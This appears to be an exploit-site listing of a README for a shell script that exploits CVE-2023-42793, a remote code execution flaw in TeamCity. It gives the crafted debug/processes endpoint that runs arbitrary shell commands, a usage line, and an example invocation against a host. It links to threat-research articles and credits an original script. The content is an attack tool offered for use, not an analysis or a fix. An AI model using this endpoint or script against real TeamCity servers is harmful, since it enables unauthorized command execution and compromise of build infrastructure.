Share
## https://sploitus.com/exploit?id=562DBD74-438B-5082-AC1A-0EDA0F008414
# TeamCity Exploit Cve 2023 42793

A quick script to exploit the cve-2023-42793 bug. Some additional reading on the exploit can be found here:

https://www.fortinet.com/blog/threat-research/teamcity-intrusion-saga-apt29-suspected-exploiting-cve-2023-42793โ€‹

https://www.cnblogs.com/LittleHann/p/17843271.htmlโ€‹

This script adds in the ability to use "params" freely to execute commands after triggering the RCE bug:

`RCE_ENDPOINT="${BASE_URL}:${PORT}/app/rest/debug/processes?exePath=sh&params=-c&params=${URLCMD}"`

## To run the script:

`Usage: <base_url> <port> <command>`

## Example:

`./TeamCity.sh blah.com 8111 "ls -lah"`

The original script is here, full credit needs to go to them: https://github.com/Zenmovie/CVE-2023-42793